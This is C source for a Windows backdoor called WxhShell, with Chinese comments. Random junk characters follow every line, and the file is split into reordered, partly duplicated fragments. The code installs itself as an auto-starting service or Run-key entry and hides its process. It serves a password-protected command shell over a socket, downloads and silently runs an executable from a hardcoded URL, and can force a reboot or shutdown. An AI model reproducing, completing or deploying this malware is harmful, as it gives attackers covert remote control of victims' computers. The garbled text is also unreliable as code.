    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dlDO?T  
    if(Boot(SHUTDOWN)) K{iC'^wP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %\1W0%w  
    else { O~5*X f  
    closesocket(wsh); ,UxAHCR~9  
    ExitThread(0); *3(mNpi{_  
    } T?*f}J  
    break; riSgb=7q9  
    } M ~6 $kT  
  // 获取shell lG`%4}1  
  case 's': { .6pVt_f0/  
    CmdShell(wsh); `dgZ`#  
    closesocket(wsh); 1+Q@RiW  
    ExitThread(0); S0lt _~  
    break; XrGP]k6.^  
  } 2zkO s:  
  // 退出 \| 'Yuh  
  case 'x': { D0X!j,Kc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @h%Nn)QBq  
    CloseIt(wsh); dTQW/kAHQ  
    break; To,*H OP  
    } whQJWi=ck  
  // 离开 z7HM/<WY  
  case 'q': { ugs9>`fF&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L1QDA}6?_Y  
    closesocket(wsh); Eo0/cln|  
    WSACleanup(); ~6#O5plKc  
    exit(1); 1-s G`%  
    break; O-n JuZJgX  
        } j;EH[3  
  } }(9ZME<(  
  } ` c"  
^(Wu$\SA  
  // 提示信息 Upz?x{>x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CTQJ=R"  
} 8Q73h/3  
  } kK.[v'[>&  
ZDmY${J  
  return; wAc;{60s]  
} ;e W\41w  
5i=C?W`'  
// shell模块句柄 5a5)hmO RB  
int CmdShell(SOCKET sock) T1(*dVU?  
{ mpd?F 'V  
STARTUPINFO si; /1b7f'  
ZeroMemory(&si,sizeof(si)); /sdZf|Zl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uP^u:'VjbH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KESM5p"f  
PROCESS_INFORMATION ProcessInfo; bv}e[yH  
char cmdline[]="cmd"; E^m;Ab=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BR:Mcc  
  return 0; eaDG7+iS  
} D=}\]Krmay  
#j)"#1IE2W  
// 自身启动模式 )D&xyC}  
int StartFromService(void) |u+!CR  
{ HbJ^L:/  
typedef struct 9u%(9Ae  
{ Dv~jVIXu  
  DWORD ExitStatus; !gJw?(8"  
  DWORD PebBaseAddress; <4582x,G  
  DWORD AffinityMask; m%s:4Z%=  
  DWORD BasePriority; ~re~Ys  
  ULONG UniqueProcessId; 7\yh<?`V8  
  ULONG InheritedFromUniqueProcessId; k +Cwnp  
}   PROCESS_BASIC_INFORMATION; &"^U=f@v  
`7R-2 w<b?  
PROCNTQSIP NtQueryInformationProcess; b8glZb*$  
gKtgW&PYm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =X7_!vSv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U+&Eps&NI  
xL"O~jTS  
  HANDLE             hProcess; t$rla _rbY  
  PROCESS_BASIC_INFORMATION pbi; k`J|]99Wb  
\t)`Cp6,[b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]AX3ov6z9;  
  if(NULL == hInst ) return 0;  BO.Db``  
?/8V%PL~$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~EU\\;1Rmq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Nt/hF>"7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S q{@4F}d  
-_XTy!I  
  if (!NtQueryInformationProcess) return 0; .AZwVP<  
gj I>tz}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HEw&'  
  if(!hProcess) return 0; ~ 7<M6F  
I+ Y{_yw"f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BAtjYPX'w  
jwP5pu  
  CloseHandle(hProcess); 3cF8DNh  
w/*m_O\!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5GGO:  
if(hProcess==NULL) return 0; 1x%B`d  
UqNUX?(  
HMODULE hMod; n}c~+ 0`un  
char procName[255]; bAwKmk9C  
unsigned long cbNeeded; egVKAR-  
8[D"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qw{`?1[+  
x_r*<?OZ  
  CloseHandle(hProcess); hw(\3h()  
B<0Kl.V  
if(strstr(procName,"services")) return 1; // 以服务启动 -!}3bl*(7  
n#@Qd!uzM  
  return 0; // 注册表启动 ;%;||?'v  
} F~eY'~&H}  
'.k'*=cq0  
// 主模块 ^b.#4i (v  
int StartWxhshell(LPSTR lpCmdLine) 6[S IDOp*^  
{ b`@J"E}  
  SOCKET wsl; 7VL|\^Y`q  
BOOL val=TRUE; Ej1 <T,w_  
  int port=0; dFy GI?  
  struct sockaddr_in door; [bRE=Zr$Ry  
Sa kew  
  if(wscfg.ws_autoins) Install(); CP0'pL=;  
u1=K#5^  
port=atoi(lpCmdLine); 7*"Jx}eM  
[2h.5.af  
if(port<=0) port=wscfg.ws_port; MdmN7>  
!#=3>\np+X  
  WSADATA data; P^tTg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V1~@   
DTSf[zP/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #'0Yzh]qc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6q6xqr:W  
  door.sin_family = AF_INET; *QV"o{V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ambr}+}  
  door.sin_port = htons(port); z+-o}i  
%"eR0Lj+zq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %D5F7wB  
closesocket(wsl); ZvMU3])u  
return 1; _54gqD2C,  
} } !y5hv!_  
|Wjpnz  
  if(listen(wsl,2) == INVALID_SOCKET) { cnI5 G!  
closesocket(wsl); @bJIN]R  
return 1; ^3 9lUKL  
} v; R2,`[W  
  Wxhshell(wsl); xiDgQTDz  
  WSACleanup(); 8;r#HtFM  
*0to,$ n  
return 0; _{-[1-lN5_  
kguZAO6  
} f 9Kt>2IN  
aU^6FI  
// 以NT服务方式启动 b?c/J {me  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U7 ?v4O]D[  
{ 0Qq<h;8xEc  
DWORD   status = 0; .ESvMK~x  
  DWORD   specificError = 0xfffffff; }YVF fi~  
S0Q LM)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E2d'P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8'%m!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G!;PV^6x  
  serviceStatus.dwWin32ExitCode     = 0; ],k~t5+  
  serviceStatus.dwServiceSpecificExitCode = 0; 7eAV2.  
  serviceStatus.dwCheckPoint       = 0; se`Eez}  
  serviceStatus.dwWaitHint       = 0; ~> Q9  
U3Z=X TB  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t ^[fu,  
  if (hServiceStatusHandle==0) return; DA.k8M  
W\NC3]  
status = GetLastError(); N2"B\  
  if (status!=NO_ERROR) KmTFJ,iM  
{ w"wW0uE^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zX4RqI  
    serviceStatus.dwCheckPoint       = 0; N+@ Ff3M  
    serviceStatus.dwWaitHint       = 0; 6-fv<Pn  
    serviceStatus.dwWin32ExitCode     = status; hlB\Xt  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3 h d30o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6#!CBY^{  
    return; $`55 E(  
  } dGn 0-l'q  
:C(/yg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #[bL9R5NC  
  serviceStatus.dwCheckPoint       = 0; }#7rg_O]>  
  serviceStatus.dwWaitHint       = 0; yV )fJ_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0hV#]`9`gN  
} nqm=snh  
Z$JJ0X  
// 处理NT服务事件,比如:启动、停止 UZ2_FP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (8)9S6  
{ BEvY&3%l  
switch(fdwControl) bo/9k 4N3  
{ X<$Tn60,  
case SERVICE_CONTROL_STOP: @,TIw[p  
  serviceStatus.dwWin32ExitCode = 0; jD6HCIjd'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q_|}~4_+  
  serviceStatus.dwCheckPoint   = 0; 8c+V$rH_  
  serviceStatus.dwWaitHint     = 0; C| ~ A]wc=  
  { 2cH RiRT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d \l{tmte  
  } rB$~,q&.V  
  return; ,MNv}w@  
case SERVICE_CONTROL_PAUSE: '<BLkr# @  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t]@>kAA>2L  
  break; jDpA>{O[  
case SERVICE_CONTROL_CONTINUE: 94BH{9b5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ={sjoMW  
  break; uR5+")r@S  
case SERVICE_CONTROL_INTERROGATE: 3NLn}  
  break; g"1V ]  
}; jts0ZFHc-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,"(G  
} )>:~XA|?  
A}(]J!rc  
// 标准应用程序主函数  pE)NSZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ee2P]4_d  
{ mi7?t/D1Z  
2c 0;P #ol  
// 获取操作系统版本 5MaN {*)l  
OsIsNt=GetOsVer(); 6/mz., g2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,<t.Iz%  
fq6Obh=A#  
  // 从命令行安装 KtL?,zi  
  if(strpbrk(lpCmdLine,"iI")) Install(); gGL}FNH  
Ne1Oz}  
  // 下载执行文件 0BlEt1e2T  
if(wscfg.ws_downexe) { /)sP, 2/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .EL3}6"A  
  WinExec(wscfg.ws_filenam,SW_HIDE); .i RKuBM/  
} E5n7 <  
$qQYxx@  
if(!OsIsNt) { ]O"f%   
// 如果时win9x,隐藏进程并且设置为注册表启动 r6Yd"~ n  
HideProc(); E(4c&  
StartWxhshell(lpCmdLine); P\7*ql`  
} FT- .gi0  
else `xLsD}32  
  if(StartFromService()) GHcx@||C?  
  // 以服务方式启动 5lG\ Z?  
  StartServiceCtrlDispatcher(DispatchTable); at_*Zh(  
else MONX&$  
  // 普通方式启动 ]u|v7}I4  
  StartWxhshell(lpCmdLine); n9+33^ PT  
s Z[[ymu8  
return 0; 0vm>*M*p  
} pD%(Y^h?  
O D}RnKL  
~~OFymQ%?q  
**hQb$  
=========================================== g %f5hy  
*#XZ*Ga  
'6dVe 2V  
Snf_{A<  
1n8[fgz  
e.n(NW  
" "=Br&FN{|  
1P!)4W  
#include <stdio.h> kL*P 3 0  
#include <string.h> #u hUZq  
#include <windows.h> 2e1KF=N+  
#include <winsock2.h> DO*U7V02  
#include <winsvc.h> sE% $]Jp  
#include <urlmon.h> SV>tw`2  
=9jK\ T^  
#pragma comment (lib, "Ws2_32.lib") O:wG/et  
#pragma comment (lib, "urlmon.lib") &>-j4,M  
10FiA;  
#define MAX_USER   100 // 最大客户端连接数 |:1{B1sqA  
#define BUF_SOCK   200 // sock buffer .xsfq*3e5  
#define KEY_BUFF   255 // 输入 buffer 7y'uZAF  
^<CVQ8R7  
#define REBOOT     0   // 重启 `pfIgryns  
#define SHUTDOWN   1   // 关机 *U[yeE].  
@Dh2@2`>  
#define DEF_PORT   5000 // 监听端口 FOXSs8"c]!  
/sA&}kX}E  
#define REG_LEN     16   // 注册表键长度 UY< PiP  
#define SVC_LEN     80   // NT服务名长度 %qoS(iO`h  
] 4dl6T  
// 从dll定义API q Q\j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |sZqqgZ-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p'K`K\X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jz bq{#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R@o&c%K"  
 'o-4'  
// wxhshell配置信息 D@bGJc0  
struct WSCFG { 0B`X056|"|  
  int ws_port;         // 监听端口 tqGrhOt  
  char ws_passstr[REG_LEN]; // 口令 JXB)'d0  
  int ws_autoins;       // 安装标记, 1=yes 0=no puC91  
  char ws_regname[REG_LEN]; // 注册表键名 jW'YQrj{<Y  
  char ws_svcname[REG_LEN]; // 服务名 SGAzeymw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h:?^0b!@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _ %nz-I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^e.-Ji  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .Kb3VNgwvm  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %2}fW\% '  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `L'g<VK;  
RxP H[7oZ  
}; yix[zfQt0  
6zi>Q?] 1  
// default Wxhshell configuration sey,J5?  
struct WSCFG wscfg={DEF_PORT, \vA*dQ-  
    "xuhuanlingzhe", hYW9a`Ht/  
    1, }|DspO  
    "Wxhshell", Oidf\%!mvR  
    "Wxhshell", Qm%PpQ^Lz3  
            "WxhShell Service", |bY@HpMp  
    "Wrsky Windows CmdShell Service", J usU5 e|  
    "Please Input Your Password: ", EwP2,$;  
  1, 'UX.Q7W  
  "http://www.wrsky.com/wxhshell.exe", OIcXelS:@k  
  "Wxhshell.exe" `z&#|0O  
    }; E/zf9\  
']M/'CcM  
// 消息定义模块 cM#rus?)+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2e`}O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jxog8 E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |toP8 6  
char *msg_ws_ext="\n\rExit."; yb`PMjj15  
char *msg_ws_end="\n\rQuit."; FZHA19Kb  
char *msg_ws_boot="\n\rReboot..."; en<~_|J  
char *msg_ws_poff="\n\rShutdown..."; N,(!   
char *msg_ws_down="\n\rSave to "; :X0L6y)u  
p `"k=tZ{  
char *msg_ws_err="\n\rErr!"; aB ,-E>+  
char *msg_ws_ok="\n\rOK!"; 4zoQe>v~  
'2(m%X\6  
char ExeFile[MAX_PATH]; HlGSt$woX  
int nUser = 0; +,76|oMsQ%  
HANDLE handles[MAX_USER]; or]v]*:~l  
int OsIsNt; 7UfNz60+~  
ZVjB$-do  
SERVICE_STATUS       serviceStatus; ;*(-8R/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7~7L5PRW  
QN:v4,$d  
// 函数声明 5J5?cs-!  
int Install(void); w#"\*SKK  
int Uninstall(void); ^tB 1Nu %  
int DownloadFile(char *sURL, SOCKET wsh); #Bd]M#J17a  
int Boot(int flag); UL+Txc  
void HideProc(void); 6D;N.wDZ  
int GetOsVer(void); SVCh!/qe\  
int Wxhshell(SOCKET wsl); MGg(d  
void TalkWithClient(void *cs); }3(!kW  
int CmdShell(SOCKET sock); )Qbd/zd\U  
int StartFromService(void); XqTguO'  
int StartWxhshell(LPSTR lpCmdLine); G/_IY;  
@oXGa>Ru  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DR#" 3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~7]V^tG  
*8}b&4O~  
// 数据结构和表定义 t-\+t<;  
SERVICE_TABLE_ENTRY DispatchTable[] = :Jd7q.  
{ 4V+bE$Wu  
{wscfg.ws_svcname, NTServiceMain}, 1h,iWHC  
{NULL, NULL} Itl8#LpLM  
}; l1+l@r\  
f"MID6  
// 自我安装 + :MSY p  
int Install(void) -  x  
{ 9[0iIT$q$  
  char svExeFile[MAX_PATH]; v] m/$X2  
  HKEY key; NoI|Dz  
  strcpy(svExeFile,ExeFile); -,J<X\  
{2\Y%Y'}*  
// 如果是win9x系统,修改注册表设为自启动 R<|\Z@z  
if(!OsIsNt) { ].d2CJ'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @^,q/%;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vm [lMx  
  RegCloseKey(key); `^M]|7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IskL$Y ^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \]X.f&u  
  RegCloseKey(key); l]*RiK2AC  
  return 0; 7)Toj  
    } r4yz{^G  
  } eM7@!CdA9q  
} f|d~=\0y  
else { W`>|OiuF  
;:;E|{e  
// 如果是NT以上系统,安装为系统服务 UK=ELvt]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y=3 dGOFB  
if (schSCManager!=0) P>/:dt'GJ}  
{ o@meogkL  
  SC_HANDLE schService = CreateService } d[(kC_  
  ( @C;1e7  
  schSCManager, +f3Rzx]  
  wscfg.ws_svcname, opcanl9pSW  
  wscfg.ws_svcdisp, Hm-#Mpw  
  SERVICE_ALL_ACCESS, '/\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `+H=3`}X  
  SERVICE_AUTO_START, A7p4M?09  
  SERVICE_ERROR_NORMAL, jv)+qmqo!  
  svExeFile, cO?*(e1m=  
  NULL, 74%vNKzc~  
  NULL, ~1G^IZ6  
  NULL, ptCF))Zm'  
  NULL, egoR])2>  
  NULL "{0G,tdA  
  ); Ot=>~(u0  
  if (schService!=0) .3 EZk86  
  { ,KY;NbL-Jp  
  CloseServiceHandle(schService); k8gH#ENNK  
  CloseServiceHandle(schSCManager); &#p1ogf:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); At7!Pas#@g  
  strcat(svExeFile,wscfg.ws_svcname); omG2p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &Vlno*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )V1XL   
  RegCloseKey(key); t@%w:*&  
  return 0; ^~4]"J};M  
    } N?\X 2J1  
  } 5P,&VB8L  
  CloseServiceHandle(schSCManager); V?mP7  
} bWFa{W5!  
} PRh C1#  
aV;|2}q "  
return 1; sY ]J!"  
} @|gG3  
UHl3/m7g  
// 自我卸载 ]ch=@IV  
int Uninstall(void) C,|&  
{ XC<fNK  
  HKEY key; pc`P;Eui  
j<AOC?  
if(!OsIsNt) { P{Nvt/%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >y%H2][  
  RegDeleteValue(key,wscfg.ws_regname); g~U( w  
  RegCloseKey(key); T KZtoQP%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TOG:`FID  
  RegDeleteValue(key,wscfg.ws_regname); 7[ ovEE54  
  RegCloseKey(key); N[{rsUBd  
  return 0;  Z-@nXt  
  } &L6Ivpj-  
} N/ a4Gl(  
} |Ajd$+3  
else { J;4x$BI  
6-U_TV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  9q;O`&  
if (schSCManager!=0) !BQt+4G7  
{ (5T>`7g8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !6/UwPs  
  if (schService!=0) /~LE1^1&U  
  { e!u]l  
  if(DeleteService(schService)!=0) { AR| 4^  
  CloseServiceHandle(schService); 91R# /i  
  CloseServiceHandle(schSCManager); YidcVlOsO  
  return 0; Wa;N(zw0h  
  } vC]X>P5Px  
  CloseServiceHandle(schService); *byUqY3(  
  } i?T-6{3I  
  CloseServiceHandle(schSCManager); Q 3WD!Z8y  
} +d, ~h_7!  
} ieyK$q  
^t0!Dbx3SE  
return 1; .6y+van  
} M;A_'h?Z  
[RF,0>^b  
// 从指定url下载文件 K^WDA])  
int DownloadFile(char *sURL, SOCKET wsh) A7 RI&g v5  
{ *HrEh;3^J  
  HRESULT hr; }*x1e_m}H  
char seps[]= "/"; QqM[W/&R  
char *token; N*gJu  
char *file; I~7iIUD  
char myURL[MAX_PATH]; 'F W?   
char myFILE[MAX_PATH]; "L>'X22ed  
N{Sp-J>  
strcpy(myURL,sURL); @IG's-  
  token=strtok(myURL,seps); OVLVsNg  
  while(token!=NULL) HLyA zB~r  
  { 8xy8/UBIk0  
    file=token; Z`TfS+O6  
  token=strtok(NULL,seps); 1/$PxQ  
  } -2hirA<^  
c>bns/f  
GetCurrentDirectory(MAX_PATH,myFILE); ! ._q8q\  
strcat(myFILE, "\\"); &}DfIP<  
strcat(myFILE, file); :zL)O  
  send(wsh,myFILE,strlen(myFILE),0); ,{*g Q%7  
send(wsh,"...",3,0); 2 ZK]}&yC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ip8ml0oG  
  if(hr==S_OK) ]J Yz(m[   
return 0; +C% 6jGGh  
else & bTCTDZh  
return 1; )zL@h  
dGZie .Zx  
} o2fih%p?1  
KjGu !B  
// 系统电源模块 a>j}@8[J  
int Boot(int flag) ]B/> =t"E  
{ (?zg.y  
  HANDLE hToken; u^MKqI  
  TOKEN_PRIVILEGES tkp; ~&Z>fgOTJ  
J3yK^@&&  
  if(OsIsNt) { e#[Klh$]EW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s^u  Y   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "7cty\  
    tkp.PrivilegeCount = 1; -XYvjW,|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D07M!U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z:Am1B  
if(flag==REBOOT) { l>6tEOXt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #*h\U]=VS  
  return 0; Vb,V N?l  
} [CQR  
else { SaPE 1^}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SVU>q:ab  
  return 0; joY7Vk!<o  
} k9k39`t  
  } xs= ~N  
  else { 7I3_$uF  
if(flag==REBOOT) { CX]1I|T5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '5h` ="  
  return 0; 9=>q0D2  
} :^7w  
else { =Jm[1Mgt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^s)`UZ<C=  
  return 0; W9SU1{*9  
} 0? {ADQz  
} ;21D^e  
ytttF5-  
return 1; Odwe1q&  
} Z6I|Y5#H  
UF"%FF  
// win9x进程隐藏模块 vF^d40gV  
void HideProc(void) s#?ZwD,=  
{ @^| [J _4  
iil<zEic  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &%OY"Y~bI!  
  if ( hKernel != NULL ) y% bIO6u:  
  { 4c5BlD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wnS,Jl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &=lc]sk  
    FreeLibrary(hKernel); H<d~AurX)J  
  } fJS:46  
=x<N+vjXY  
return; dlYpbw}W&<  
} AE rPd)yk0  
=|oi0  
// 获取操作系统版本 `2Pa{g- .  
int GetOsVer(void) BqNsW (+  
{ 6ll!7U(9(  
  OSVERSIONINFO winfo; !!C/($  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8}|et~7!  
  GetVersionEx(&winfo); f~VlCdf+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }n^Rcz6HeO  
  return 1; Qx)b4~F?  
  else *(9Tl]w  
  return 0; GLsa]}m,9  
} 3E*|^*  
NY7yk3  
// 客户端句柄模块 ? i _ACKpw  
int Wxhshell(SOCKET wsl) sF{~7IB  
{ %,\JTN|g|A  
  SOCKET wsh; yd;e;Bb7*  
  struct sockaddr_in client; #RlZxtx.O  
  DWORD myID; Q ^b&   
T.da!!'B f  
  while(nUser<MAX_USER) wv9HiHz8gD  
{ !v}TRGX  
  int nSize=sizeof(client); bWTf P8gT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aqON6|6K  
  if(wsh==INVALID_SOCKET) return 1; ) H,Xkex  
= wz}yfdrC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }zGx0Q  
if(handles[nUser]==0) |.k'?!  
  closesocket(wsh); g*YDgY  
else Yc[umn^K  
  nUser++; KQr+VQdq>  
  } xO|r<R7d7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D, ")n75  
9,?~dx  
  return 0; O,r;-t4vYU  
} p!pf2}6Fd  
X.b8qbnq[  
// 关闭 socket Ll]5u~  
void CloseIt(SOCKET wsh) CXq[VYM&X  
{ 81Z;hO"~  
closesocket(wsh); >ai,6!  
nUser--; *L^W[o  
ExitThread(0); L$5,RUy  
} x?L[*N_ml  
FJ3S  
// 客户端请求句柄 eIvZhi  
void TalkWithClient(void *cs) phy}Hk/  
{ av'm$I|O  
qHk{5O3  
  SOCKET wsh=(SOCKET)cs; w~@"r#-  
  char pwd[SVC_LEN]; 2 5 \S>  
  char cmd[KEY_BUFF]; e"hfeNphz  
char chr[1]; Uj5-x%~  
int i,j; h4]^~stI  
gWr7^u&q@|  
  while (nUser < MAX_USER) { 'WW:'[Syn'  
@} Ig*@  
if(wscfg.ws_passstr) { cQEUHhRg!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FI^Wh7J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CV0id&Nv  
  //ZeroMemory(pwd,KEY_BUFF); Lap?L/NS  
      i=0; %Y&48''"  
  while(i<SVC_LEN) { M/ 64`lcb  
S)U*1t7[  
  // 设置超时 kp*v:*  
  fd_set FdRead; I# tlaz#  
  struct timeval TimeOut; -DkD*64wu  
  FD_ZERO(&FdRead);  ;+~5XLk  
  FD_SET(wsh,&FdRead); .`IhxE~mN  
  TimeOut.tv_sec=8; Em!- W5*s  
  TimeOut.tv_usec=0; u IXA{89  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )Q=u[ p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _*AI1/>`  
V#Wy` ce  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VukbvBWPN  
  pwd=chr[0]; cy^=!EfA  
  if(chr[0]==0xd || chr[0]==0xa) { AMyg>n!  
  pwd=0; Y#os6|MV#  
  break; ~:Rbd9IB  
  } 0z/*JVka  
  i++; TnQ>v{Rx  
    } P&Ke slk  
Ll|-CY $  
  // 如果是非法用户,关闭 socket 3H,x4L5j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `Abd=1nH  
} LGhK)]:  
x'L=p01  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); pN^g.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z1,rN#p9  
nL?P/ \  
while(1) { H q6%$!q  
UV2W~g  
  ZeroMemory(cmd,KEY_BUFF); @ZISv'F  
dqB,i9--  
      // 自动支持客户端 telnet标准   AGFA;X  
  j=0; obvE m[x!Z  
  while(j<KEY_BUFF) { f7*Qa!!2p]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :u7BCV|yr  
  cmd[j]=chr[0]; =K:[26  
  if(chr[0]==0xa || chr[0]==0xd) { $z_yx `5  
  cmd[j]=0; :aOR@])>o  
  break; ^=x/:0  
  } |Z>-<]p9g  
  j++; i "V.$|,  
    } )5@P|{FF  
ykC3Z<pI.  
  // 下载文件 &h/r]KrZ  
  if(strstr(cmd,"http://")) { {z>!Fw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $6n J+  
  if(DownloadFile(cmd,wsh)) wNUT0+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); My>q%lF=fw  
  else bpc1> ?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8oE`>Y  
  } B=OzP+  
